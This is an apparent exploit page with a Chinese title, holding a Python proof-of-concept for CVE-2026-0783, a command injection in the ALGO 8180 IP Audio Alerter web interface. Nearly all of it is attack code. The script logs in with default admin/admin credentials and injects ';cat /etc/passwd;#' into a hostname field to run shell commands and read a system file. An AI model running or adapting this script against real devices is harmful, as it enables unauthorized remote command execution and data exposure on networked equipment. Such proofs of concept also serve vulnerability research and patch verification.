CVE-2026-0783 ALGO 8180 IP Audio Alerter Web UI命令注入远程代码执行漏洞

import requests import sys # CVE-2026-0783 PoC - ALGO 8180 IP Audio Alerter Command Injection # Authentication required target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.local" username = "admin" password = "admin" # Login to obtain session login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") sys.exit(1) print("[+] Login successful") # Exploit command injection # The vulnerable parameter in web UI allows command injection vulnerable_param = ";cat /etc/passwd;#" exploit_url = f"{target_url}/api/system/config" exploit_data = { "hostname": vulnerable_param, "description": "Test command injection" } response = session.post(exploit_url, json=exploit_data) if response.status_code == 200: print(f"[+] Command injection successful") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed: {response.status_code}")